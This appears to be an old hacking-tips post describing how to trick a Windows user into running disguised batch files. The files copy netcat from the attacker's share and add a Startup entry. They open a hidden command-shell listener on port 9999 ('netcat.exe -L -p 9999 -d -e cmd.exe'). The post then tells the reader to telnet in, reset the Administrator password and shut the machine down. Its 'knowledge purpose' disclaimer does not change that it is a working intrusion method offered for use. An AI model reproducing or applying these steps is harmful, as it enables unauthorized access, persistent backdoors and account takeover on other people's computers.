Hacking the Network (Old Trick)

Hacking the Network (Old Trick) 

Note: This guide is only for knowledge purpose

May be you tried lots of tips and tricks to perform a successful hack in a network but mostly failed but here it really worked for me a few times and I hope it does for you too, this is an old trick how it is going to work for you i don't know.
As we all know, a Trojan is very likely to be picked up by AV(Anti-Virus), what you need is Netcat, netcat opens a port on a computer for access. You will need to write a batch file. The batch file to copy netcat on the remote computer will have to be run from the target computer (The person on the target will have to execute the batch file in some way). 

Open the Notepad and type this in:
 

CODE:
@echo off
cd\
xcopy \\yourIP\shared folder\netcat.exe
copy \\yourIP\shared folder\netcat.exe (just to be sure)
cd "Documents and Settings"
cd "All Users"
cd "Start Menu"
cd Programs
cd Startup
xcopy \\yourIP\shared folder\Startup.bat (This is another batch file you will write)
cd\
netcat.exe -L -p 9999 -d -e cmd.exe
 

Save the file as a batch file using Notepad.
The next batch file will be used to make sure the port you specified opens up every time windows starts up, you can specify any port you wish. Open Notepad and type:
 

Code:
@echo off
cd\
netcat.exe -L -p 9999 -d -e cmd.exe
 

Save the file as a batch file* using Notepad, this will be the file that is copied into the startup folder in the previous batch file we wrote. You can bind the batch file to another file and share that file, let the target execute that file so that he can copy netcat and the other batch file onto his/hers computer thus opening port 9999, after port 9999 has been opened you can then use telnet and telnet to that port on the target computer to have full access without ever needing any passwords of any sort. After you are in change the Administrator password for if something happens to your files, the command is this:
net user Administrator newpassword
Now from here you can do what you want, e.g try shutting down the target computer by browsing to his system32 folder and then type in:
shutdown -r -t 10 -c "Hello"

You can download Netcat from this link :- Download for Windows

                                                                     Download for Linux 

*Batch file - save it as .bat